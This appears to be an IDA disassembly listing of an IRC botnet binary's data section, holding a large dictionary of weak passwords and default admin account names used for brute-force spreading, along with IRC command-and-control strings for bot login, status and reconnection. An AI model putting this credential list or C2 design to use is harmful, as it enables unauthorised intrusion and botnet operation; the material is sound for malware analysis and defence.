aBravo db 'bravo',0 ; DATA XREF: .text:0042C8B8o
align 4
aBrandy db 'brandy',0 ; DATA XREF: .text:0042C8B4o
align 10h
aBrandi db 'brandi',0 ; DATA XREF: .text:0042C8B0o
align 4
aBradley db 'bradley',0 ; DATA XREF: .text:0042C8ACo
aBoyscout db 'boyscout',0 ; DATA XREF: .text:0042C8A8o
align 4
aBorn db 'born',0 ; DATA XREF: .text:0042C8A4o
align 4
aBook db 'book',0 ; DATA XREF: .text:0042C8A0o
align 4
aBoobs db 'boobs',0 ; DATA XREF: .text:0042C89Co
align 4
aBoob db 'boob',0 ; DATA XREF: .text:0042C898o
align 4
aBoner db 'boner',0 ; DATA XREF: .text:0042C894o
align 4
aBomb db 'bomb',0 ; DATA XREF: .text:0042C890o
align 4
aBob db 'bob',0 ; DATA XREF: .text:0042C88Co
aBoard db 'board',0 ; DATA XREF: .text:0042C888o
align 4
aBlues db 'blues',0 ; DATA XREF: .text:0042C884o
align 10h
aBlue db 'blue',0 ; DATA XREF: .text:0042C880o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: .text:0042C87Co
aBlow db 'blow',0 ; DATA XREF: .text:0042C878o
align 4
aBloodaxe db 'bloodaxe',0 ; DATA XREF: .text:0042C874o
align 4
aBlood db 'blood',0 ; DATA XREF: .text:0042C870o
align 4
aBlondie db 'blondie',0 ; DATA XREF: .text:0042C86Co
aBlonde db 'blonde',0 ; DATA XREF: .text:0042C868o
align 4
aBlank db 'blank',0 ; DATA XREF: .text:0042C864o
align 4
aBlack db 'black',0 ; DATA XREF: .text:0042C860o
align 4
aBla db 'bla',0 ; DATA XREF: .text:0042C85Co
aBitnet db 'bitnet',0 ; DATA XREF: .text:0042C858o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: .text:0042C854o
align 10h
aBitch db 'bitch',0 ; DATA XREF: .text:0042C850o
align 4
aBishop db 'bishop',0 ; DATA XREF: .text:0042C84Co
align 10h
aBird db 'bird',0 ; DATA XREF: .text:0042C848o
align 4
aBios db 'bios',0 ; DATA XREF: .text:0042C844o
align 10h
aBinary db 'binary',0 ; DATA XREF: .text:0042C840o
align 4
aBilly db 'billy',0 ; DATA XREF: .text:0042C83Co
align 10h
aBill db 'bill',0 ; DATA XREF: .text:0042C838o
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: .text:0042C834o
aBicameral db 'bicameral',0 ; DATA XREF: .text:0042C830o
align 4
aBicamera db 'bicamera',0 ; DATA XREF: .text:0042C82Co
align 4
aBible db 'bible',0 ; DATA XREF: .text:0042C828o
align 10h
aBeverly db 'beverly',0 ; DATA XREF: .text:0042C824o
aBetty db 'betty',0 ; DATA XREF: .text:0042C820o
align 10h
aBetsie db 'betsie',0 ; DATA XREF: .text:0042C81Co
align 4
aBeth db 'beth',0 ; DATA XREF: .text:0042C818o
align 10h
aBeta db 'beta',0 ; DATA XREF: .text:0042C814o
align 4
aBeryl db 'beryl',0 ; DATA XREF: .text:0042C810o
align 10h
aBerliner db 'berliner',0 ; DATA XREF: .text:0042C80Co
align 4
aBerlin db 'berlin',0 ; DATA XREF: .text:0042C808o
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: .text:0042C804o
align 10h
aBeowulf db 'beowulf',0 ; DATA XREF: .text:0042C800o
aBenz db 'benz',0 ; DATA XREF: .text:0042C7FCo
align 10h
aBeloved db 'beloved',0 ; DATA XREF: .text:0042C7F8o
aBell db 'bell',0 ; DATA XREF: .text:0042C7F4o
align 10h
aBehead db 'behead',0 ; DATA XREF: .text:0042C7F0o
align 4
aBegin db 'begin',0 ; DATA XREF: .text:0042C7ECo
align 10h
aBeethoven db 'beethoven',0 ; DATA XREF: .text:0042C7E8o
align 4
aBeethove db 'beethove',0 ; DATA XREF: .text:0042C7E4o
align 4
aBecky db 'becky',0 ; DATA XREF: .text:0042C7E0o
align 10h
aBeaver db 'beaver',0 ; DATA XREF: .text:0042C7DCo
align 4
aBeauty db 'beauty',0 ; DATA XREF: .text:0042C7D8o
align 10h
aBeater db 'beater',0 ; DATA XREF: .text:0042C7D4o
align 4
aBeast db 'beast',0 ; DATA XREF: .text:0042C7D0o
align 10h
aBear db 'bear',0 ; DATA XREF: .text:0042C7CCo
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: .text:0042C7C8o
align 4
aBeach db 'beach',0 ; DATA XREF: .text:0042C7C4o
align 4
aBatman db 'batman',0 ; DATA XREF: .text:0042C7C0o
align 4
aBatch db 'batch',0 ; DATA XREF: .text:0042C7BCo
align 4
aBassoon db 'bassoon',0 ; DATA XREF: .text:0042C7B8o
aBass db 'bass',0 ; DATA XREF: .text:0042C7B4o
align 4
aBasic db 'basic',0 ; DATA XREF: .text:0042C7B0o
align 4
aBaseball db 'baseball',0 ; DATA XREF: .text:0042C7ACo
align 10h
aBartman db 'bartman',0 ; DATA XREF: .text:0042C7A8o
aBart db 'bart',0 ; DATA XREF: .text:0042C7A4o
align 10h
aBaritone db 'baritone',0 ; DATA XREF: .text:0042C7A0o
align 4
aBarf db 'barf',0 ; DATA XREF: .text:0042C79Co
align 4
aBare db 'bare',0 ; DATA XREF: .text:0042C798o
align 4
aBarber db 'barber',0 ; DATA XREF: .text:0042C794o
align 4
aBarbara db 'barbara',0 ; DATA XREF: .text:0042C790o
aBanks db 'banks',0 ; DATA XREF: .text:0042C78Co
align 4
aBank db 'bank',0 ; DATA XREF: .text:0042C788o
align 4
aBandit db 'bandit',0 ; DATA XREF: .text:0042C784o
align 4
aBananas db 'bananas',0 ; DATA XREF: .text:0042C780o
aBanana db 'banana',0 ; DATA XREF: .text:0042C77Co
align 4
aBall db 'ball',0 ; DATA XREF: .text:0042C778o
align 4
aBailey db 'bailey',0 ; DATA XREF: .text:0042C774o
align 4
aBadass db 'badass',0 ; DATA XREF: .text:0042C770o
align 4
aBackup db 'backup',0 ; DATA XREF: .text:0042C76Co
align 4
aBackdoor db 'backdoor',0 ; DATA XREF: .text:0042C768o
align 10h
aBacchus db 'bacchus',0 ; DATA XREF: .text:0042C764o
aBaby db 'baby',0 ; DATA XREF: .text:0042C760o
align 10h
aBabe db 'babe',0 ; DATA XREF: .text:0042C75Co
align 4
aAzure db 'azure',0 ; DATA XREF: .text:0042C758o
align 10h
aAztecs db 'aztecs',0 ; DATA XREF: .text:0042C754o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: .text:0042C750o
align 4
aAttack db 'attack',0 ; DATA XREF: .text:0042C74Co
align 4
aAtom db 'atom',0 ; DATA XREF: .text:0042C748o
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: .text:0042C744o
align 10h
aAtmosphe db 'atmosphe',0 ; DATA XREF: .text:0042C740o
align 4
aAthena db 'athena',0 ; DATA XREF: .text:0042C73Co
align 4
aAsshole db 'asshole',0 ; DATA XREF: .text:0042C738o
aAsm db 'asm',0 ; DATA XREF: .text:0042C734o
aAsian db 'asian',0 ; DATA XREF: .text:0042C730o
align 4
aAsdfgh db 'asdfgh',0 ; DATA XREF: .text:0042C72Co
; .text:0042E700o
align 10h
aAsdf db 'asdf',0 ; DATA XREF: .text:0042C728o
; .text:0042E6F8o
align 4
aAsd db 'asd',0 ; DATA XREF: .text:0042C724o
; .text:0042E6F4o
aArtist db 'artist',0 ; DATA XREF: .text:0042C720o
align 4
aArthur db 'arthur',0 ; DATA XREF: .text:0042C71Co
align 4
aArrow db 'arrow',0 ; DATA XREF: .text:0042C718o
align 4
aArmy db 'army',0 ; DATA XREF: .text:0042C714o
align 4
aArlene db 'arlene',0 ; DATA XREF: .text:0042C710o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: .text:0042C70Co
aAria db 'aria',0 ; DATA XREF: .text:0042C708o
align 4
aApril db 'april',0 ; DATA XREF: .text:0042C704o
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: .text:0042C700o
align 4
aAnything db 'anything',0 ; DATA XREF: .text:0042C6FCo
align 4
aAnvils db 'anvils',0 ; DATA XREF: .text:0042C6F8o
align 4
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .text:0042C6F4o
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: .text:0042C6F0o
align 4
aAnthrax db 'anthrax',0 ; DATA XREF: .text:0042C6ECo
aAnswer db 'answer',0 ; DATA XREF: .text:0042C6E8o
align 4
aAnonymou db 'anonymou',0 ; DATA XREF: .text:0042C6E4o
align 4
aAnon db 'anon',0 ; DATA XREF: .text:0042C6E0o
align 4
aAnnette db 'annette',0 ; DATA XREF: .text:0042C6DCo
aAnne db 'anne',0 ; DATA XREF: .text:0042C6D8o
align 4
aAnna db 'anna',0 ; DATA XREF: .text:0042C6D4o
align 4
aAnn db 'ann',0 ; DATA XREF: .text:0042C6D0o
aAnita db 'anita',0 ; DATA XREF: .text:0042C6CCo
align 10h
aAnimals db 'animals',0 ; DATA XREF: .text:0042C6C8o
aAnimal db 'animal',0 ; DATA XREF: .text:0042C6C4o
align 10h
aAngie db 'angie',0 ; DATA XREF: .text:0042C6C0o
align 4
aAngerine db 'angerine',0 ; DATA XREF: .text:0042C6BCo
align 4
aAngela db 'angela',0 ; DATA XREF: .text:0042C6B8o
align 4
aAnfo db 'anfo',0 ; DATA XREF: .text:0042C6B4o
align 4
aAndy db 'andy',0 ; DATA XREF: .text:0042C6B0o
align 4
aAndromache db 'andromache',0 ; DATA XREF: .text:0042C6ACo
align 4
aAndromac db 'andromac',0 ; DATA XREF: .text:0042C6A8o
align 4
aAndroid db 'android',0 ; DATA XREF: .text:0042C6A4o
aAndrea db 'andrea',0 ; DATA XREF: .text:0042C6A0o
align 4
aAnchor db 'anchor',0 ; DATA XREF: .text:0042C69Co
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: .text:0042C698o
aAnarchis db 'anarchis',0 ; DATA XREF: .text:0042C694o
align 10h
aAnalog db 'analog',0 ; DATA XREF: .text:0042C690o
align 4
aAnal db 'anal',0 ; DATA XREF: .text:0042C68Co
align 10h
aAmy db 'amy',0 ; DATA XREF: .text:0042C688o
aAmorphous db 'amorphous',0 ; DATA XREF: .text:0042C684o
align 10h
aAmorphou db 'amorphou',0 ; DATA XREF: .text:0042C680o
align 4
aAmerica db 'america',0 ; DATA XREF: .text:0042C67Co
aAmber db 'amber',0 ; DATA XREF: .text:0042C678o
align 4
aAmanda db 'amanda',0 ; DATA XREF: .text:0042C674o
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: .text:0042C670o
aAma db 'ama',0 ; DATA XREF: .text:0042C66Co
aAlphabet db 'alphabet',0 ; DATA XREF: .text:0042C668o
align 4
aAlpha db 'alpha',0 ; DATA XREF: .text:0042C664o
align 4
aAllow db 'allow',0 ; DATA XREF: .text:0042C660o
align 4
aAllison db 'allison',0 ; DATA XREF: .text:0042C65Co
aAlison db 'alison',0 ; DATA XREF: .text:0042C658o
align 4
aAlisa db 'alisa',0 ; DATA XREF: .text:0042C654o
align 4
aAlicia db 'alicia',0 ; DATA XREF: .text:0042C650o
align 4
aAlice db 'alice',0 ; DATA XREF: .text:0042C64Co
align 4
aAliases db 'aliases',0 ; DATA XREF: .text:0042C648o
aAlias db 'alias',0 ; DATA XREF: .text:0042C644o
align 4
aAlgebra db 'algebra',0 ; DATA XREF: .text:0042C640o
aAlf db 'alf',0 ; DATA XREF: .text:0042C63Co
aAlexande db 'alexande',0 ; DATA XREF: .text:0042C638o
align 4
aAlert db 'alert',0 ; DATA XREF: .text:0042C634o
align 4
aAlbert db 'albert',0 ; DATA XREF: .text:0042C630o
align 4
aAlbatross db 'albatross',0 ; DATA XREF: .text:0042C62Co
align 4
aAlbatros db 'albatros',0 ; DATA XREF: .text:0042C628o
align 4
aAlbany db 'albany',0 ; DATA XREF: .text:0042C624o
align 4
aAlaska db 'alaska',0 ; DATA XREF: .text:0042C620o
align 4
aAirplane db 'airplane',0 ; DATA XREF: .text:0042C61Co
align 10h
aAids db 'aids',0 ; DATA XREF: .text:0042C618o
align 4
aAfro db 'afro',0 ; DATA XREF: .text:0042C614o
align 10h
aAerobics db 'aerobics',0 ; DATA XREF: .text:0042C610o
align 4
aAdult db 'adult',0 ; DATA XREF: .text:0042C60Co
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: .text:0042C608o
align 10h
aAdrian db 'adrian',0 ; DATA XREF: .text:0042C604o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: .text:0042C600o
align 4
aAdm db 'adm',0 ; DATA XREF: .text:0042C5FCo
aAdam db 'adam',0 ; DATA XREF: .text:0042C5F8o
align 10h
aAda db 'ada',0 ; DATA XREF: .text:0042C5F4o
aAction db 'action',0 ; DATA XREF: .text:0042C5F0o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .text:0042C5ECo
align 4
aAccounting db 'accounting',0 ; DATA XREF: .text:0042C5E8o
align 4
aAccount db 'account',0 ; DATA XREF: .text:0042C5E4o
aAccess db 'access',0 ; DATA XREF: .text:0042C5E0o
align 4
aAcademic db 'academic',0 ; DATA XREF: .text:0042C5D8o
align 10h
aAcademia db 'academia',0 ; DATA XREF: .text:0042C5D4o
align 4
aAbcd db 'abcd',0 ; DATA XREF: .text:0042C5D0o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .text:0042C5CCo
align 4
aAbc db 'abc',0 ; DATA XREF: .text:0042C5C8o
aAaa db 'aaa',0 ; DATA XREF: .text:0042C5C4o
; .text:0042E620o
aWindowsxp db 'WindowsXP',0 ; DATA XREF: .text:0042C5BCo
align 10h
aWrite db 'WRITE',0 ; DATA XREF: .text:0042C5B8o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_4134AF:loc_4135C1o
; .text:0042C5B4o
align 10h
aTest db 'Test',0 ; DATA XREF: .text:0042C5ACo
align 4
aStandard db 'Standard',0 ; DATA XREF: .text:0042C5A8o
align 4
aSystem_0 db 'SYSTEM',0 ; DATA XREF: .text:0042C5A4o
; .text:0042E680o ...
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: .text:0042C5A0o
align 4
aServer_1 db 'SERVER',0 ; DATA XREF: .text:0042C59Co
; .text:0042EA30o
align 4
aRoss db 'Ross',0 ; DATA XREF: .text:0042C598o
align 4
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .text:0042C594o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: .text:0042C590o
align 4
aRosco db 'Rosco',0 ; DATA XREF: .text:0042C58Co
align 4
off_4333B4 dd offset word_435052 ; DATA XREF: .text:0042C588o
aRoot_0 db 'ROOT',0 ; DATA XREF: .text:0042C584o
align 10h
aRead db 'READ',0 ; DATA XREF: .text:0042C580o
align 4
aRage db 'RAGE',0 ; DATA XREF: .text:0042C57Co
align 10h
aPassword db 'Password',0 ; DATA XREF: .text:0042C578o
; .text:0042E63Co
align 4
aOwner_0 db 'Owner',0 ; DATA XREF: .text:0042C574o
align 4
aOem db 'OEM',0 ; DATA XREF: .text:0042C570o
aNilez db 'Nilez',0 ; DATA XREF: .text:0042C56Co
align 10h
aNd db 'ND',0 ; DATA XREF: .text:0042C568o
align 4
aMatthew db 'Matthew',0 ; DATA XREF: .text:0042C564o
aMatt db 'Matt',0 ; DATA XREF: .text:0042C560o
align 4
aMat db 'Mat',0 ; DATA XREF: .text:0042C55Co
aMs db 'MS',0 ; DATA XREF: .text:0042C558o
align 4
aMp db 'MP',0 ; DATA XREF: .text:0042C554o
align 10h
aM_1 db 'M$',0 ; DATA XREF: .text:0042C550o
align 4
aLogin db 'Login',0 ; DATA XREF: .text:0042C54Co
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .text:0042C548o
align 4
aInviter db 'Inviter',0 ; DATA XREF: .text:0042C544o
aGuest db 'Guest',0 ; DATA XREF: sub_4134AF:loc_4135C8o
; .text:0042C540o
align 4
aGast db 'Gast',0 ; DATA XREF: .text:0042C53Co
align 4
aFull_0 db 'FULL',0 ; DATA XREF: .text:0042C538o
align 4
aFiles db 'FILES',0 ; DATA XREF: .text:0042C534o
align 4
aDell db 'Dell',0 ; DATA XREF: .text:0042C530o
align 4
aDefault_0 db 'Default',0 ; DATA XREF: .text:0042C52Co
aChangeme db 'Changeme',0 ; DATA XREF: .text:0042C528o
align 4
aCht db 'CHT',0 ; DATA XREF: .text:0042C524o
aCheck db 'CHECK',0 ; DATA XREF: .text:0042C520o
align 4
aBoth db 'BOTH',0 ; DATA XREF: .text:0042C51Co
align 4
aAlexander db 'Alexander',0 ; DATA XREF: .text:0042C518o
align 4
aAlex db 'Alex',0 ; DATA XREF: .text:0042C514o
align 10h
aAl3x db 'Al3x',0 ; DATA XREF: .text:0042C510o
align 4
aAdministrate_0 db 'Administrateur',0 ; DATA XREF: .text:0042C508o
align 4
aAdministrado_0 db 'Administrador',0 ; DATA XREF: .text:0042C504o
align 4
aAdmin_0 db 'Admin',0 ; DATA XREF: .text:0042C500o
align 10h
a88888888 db '88888888',0 ; DATA XREF: .text:0042C4FCo
; .text:0042E418o
align 4
a654321 db '654321',0 ; DATA XREF: .text:0042C4F8o
; .text:0042E5E4o
align 4
a54321 db '54321',0 ; DATA XREF: .text:0042C4F4o
; .text:0042E5E0o
align 4
a2600 db '2600',0 ; DATA XREF: .text:0042C4F0o
; .text:0042E5D4o
align 4
a2002 db '2002',0 ; DATA XREF: .text:0042C4E8o
; .text:0042E5C0o
align 4
a123qwe db '123qwe',0 ; DATA XREF: .text:0042C4E4o
; .text:0042E4E4o
align 4
a123asd db '123asd',0 ; DATA XREF: .text:0042C4E0o
; .text:0042E4E0o
align 4
a123abc db '123abc',0 ; DATA XREF: .text:0042C4DCo
; .text:0042E4DCo
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: .text:0042C4D8o
; .text:0042E4E8o
align 10h
a123467890 db '123467890',0 ; DATA XREF: .text:0042C4D4o
; .text:0042E4B4o
align 4
a12346789 db '12346789',0 ; DATA XREF: .text:0042C4D0o
; .text:0042E4B0o
align 4
a1234678 db '1234678',0 ; DATA XREF: .text:0042C4CCo
; .text:0042E4ACo
a123467 db '123467',0 ; DATA XREF: .text:0042C4C8o
; .text:0042E4A8o
align 4
a12346 db '12346',0 ; DATA XREF: .text:0042C4C4o
; .text:0042E4A4o
align 10h
a123456789 db '123456789',0 ; DATA XREF: .text:0042C4C0o
; .text:0042E4A0o
align 4
a12345678 db '12345678',0 ; DATA XREF: .text:0042C4BCo
; .text:0042E49Co
align 4
a1234567 db '1234567',0 ; DATA XREF: .text:0042C4B8o
; .text:0042E498o
a123456 db '123456',0 ; DATA XREF: .text:0042C4B4o
; .text:0042E494o
align 4
a12345 db '12345',0 ; DATA XREF: .text:0042C4B0o
; .text:0042E490o
align 10h
a1234 db '1234',0 ; DATA XREF: .text:0042C4ACo
; .text:0042E48Co
align 4
a123123 db '123123',0 ; DATA XREF: .text:0042C4A8o
; .text:0042E488o
align 10h
a123 db '123',0 ; DATA XREF: .text:0042C4A4o
; .text:0042E484o
a121212 db '121212',0 ; DATA XREF: .text:0042C4A0o
; .text:0042E480o
align 4
a121 db '121',0 ; DATA XREF: .text:0042C49Co
; .text:0042E47Co
a12 db '12',0 ; DATA XREF: .text:0042C498o
; .text:0042E478o
align 4
a11111111 db '11111111',0 ; DATA XREF: .text:0042C494o
; .text:0042E300o
align 10h
a111111 db '111111',0 ; DATA XREF: .text:0042C490o
; .text:0042E2F8o
align 4
a111 db '111',0 ; DATA XREF: .text:0042C48Co
; .text:0042E2ECo
a110 db '110',0 ; DATA XREF: .text:0042C488o
; .text:0042E44Co
a1: ; DATA XREF: .text:0042C484o
; .text:0042E2E4o
unicode 0, <1>,0
a0wned db '0wned',0 ; DATA XREF: .text:0042C480o
; .text:0042E2E0o
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: .text:0042C47Co
; .text:0042E2DCo
align 4
a007 db '007',0 ; DATA XREF: .text:0042C478o
; .text:0042E2CCo
a00000000 db '00000000',0 ; DATA XREF: .text:0042C474o
; .text:0042E284o
align 4
a000000 db '000000',0 ; DATA XREF: .text:0042C470o
; .text:0042E280o
align 4
a00000 db '00000',0 ; DATA XREF: .text:0042C46Co
; .text:0042E27Co
align 4
a0000 db '0000',0 ; DATA XREF: .text:0042C468o
; .text:0042E278o
align 4
a000 db '000',0 ; DATA XREF: .text:0042C464o
; .text:0042E274o
a00 db '00',0 ; DATA XREF: .text:0042C460o
; .text:0042E270o
align 4
asc_4335F4: ; DATA XREF: .text:0042C458o
; .text:0042E1DCo
unicode 0, <%>,0
a@_7 db '!@#$%^&*',0 ; DATA XREF: .text:0042C454o
; .text:0042E1F8o
align 4
a@_8 db '!@#$%^&',0 ; DATA XREF: .text:0042C450o
; .text:0042E1F4o
a@_9 db '!@#$%^',0 ; DATA XREF: .text:0042C44Co
; .text:0042E1F0o
align 4
a@_10 db '!@#$%',0 ; DATA XREF: .text:0042C448o
; .text:0042E1ECo
align 4
a@_11 db '!@#$',0 ; DATA XREF: .text:0042C444o
align 4
aA_2: ; DATA XREF: .text:0042C438o
; .text:0042C5C0o ...
unicode 0, <a>,0
aZ_1: ; DATA XREF: .text:0042C434o
; .text:0042E6D4o
unicode 0, <z>,0
asc_43362C: ; DATA XREF: .text:0042C430o
; .text:0042E13Co ...
unicode 0, <x>,0
aAs db 'as',0 ; DATA XREF: .text:0042C42Co
; .text:0042E6F0o
align 4
aDb2 db 'db2',0 ; DATA XREF: .text:0042C424o
aOracle db 'oracle',0 ; DATA XREF: .text:0042C420o
; .text:0042D738o
align 10h
aDba db 'dba',0 ; DATA XREF: .text:0042C41Co
aDatabase db 'database',0 ; DATA XREF: .text:0042C418o
; .text:0042CB6Co
align 10h
aDefault db 'default',0 ; DATA XREF: .text:0042C414o
aGuest_0 db 'guest',0 ; DATA XREF: .text:0042C410o
align 10h
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .text:0042C40Co
; .text:0042E134o
align 4
aTeacher db 'teacher',0 ; DATA XREF: .text:0042C408o
; .text:0042DE20o
aStudent db 'student',0 ; DATA XREF: .text:0042C404o
; .text:0042DD3Co
aOwner db 'owner',0 ; DATA XREF: .text:0042C400o
align 4
aComputer db 'computer',0 ; DATA XREF: .text:0042C3FCo
; .text:0042CA78o
align 10h
aStaff db 'staff',0 ; DATA XREF: .text:0042C3F4o
; .text:0042DCD8o
align 4
aAdmins db 'admins',0 ; DATA XREF: .text:0042C3ECo
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .text:0042C3E8o
aAdministrateur db 'administrateur',0 ; DATA XREF: .text:0042C3E4o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .text:0042C3E0o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .text:0042C3DCo
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_4134AF:loc_4135BAo
; .text:0042C3D8o ...
align 4
aMirc1_7_99 db 'mirc 1.7.99',0 ; DATA XREF: .text:off_42C32Co
a@room db '*@room',0 ; DATA XREF: .text:off_42C328o
align 10h
dword_433700 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40C574+34Do
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h
dword_43372C dd 25207325h, 25222064h, 2273hdword_433738 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CA58+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40CBBE+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40CBBE+35o
align 10h
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C7Do
align 10h
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+5C68o
align 10h
dword_4337B0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5C54o
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 4
dword_4337E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5C37o
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_433818 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5BE2o
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_433858 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5B75o
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: sub_40CD3A+5B66o
; sub_40CD3A+5BD3o
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_40CD3A+5B52o
; sub_40CD3A+5BBFo
align 4
asc_4338E4: ; DATA XREF: sub_40CD3A+5B22o
unicode 0, <~>,0
dword_4338E8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5AD1o
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 10h
dword_433920 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5A23o
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 10h
dword_433960 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5A18o
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 10h
dword_4339A0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+59C7o
dd 2029206Ch, 2BBBB02h, 73252020h, 2 dup(0)
unk_4339C8 db 2 ; DATA XREF: sub_40CD3A+59A3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0
align 4
dword_433A18 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_40CD3A+593Fo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 20732520h, 74737973h
dd 2E6D65h
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40CD3A+5939o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_40CD3A+5932o
align 4
aSec db 'sec',0 ; DATA XREF: sub_40CD3A+58D7o
aSecure db 'secure',0 ; DATA XREF: sub_40CD3A+58C6o
align 4
unk_433A68 db 2 ; DATA XREF: sub_40CD3A+58A6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Fh, 63h, 6Bh
db 73h ; s
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
dword_433AB4 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_433AC4 dd 646E6946h, 6C696620h, 65hdword_433AD0 dd 72027002h, 1F631F6Fh, 2E2Ehdword_433ADC dd 636F7250h, 20737365h, 7473696Ch, 0dword_433AEC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5733o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_412460o
align 10h
dword_433B30 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5711o
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A:loc_41243Eo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+56DBo
align 4
dword_433B84 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+568Fo
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 4
dword_433BC4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+5651o
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_433BF0 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+5627o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_433C3C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: sub_40CD3A+55CEo
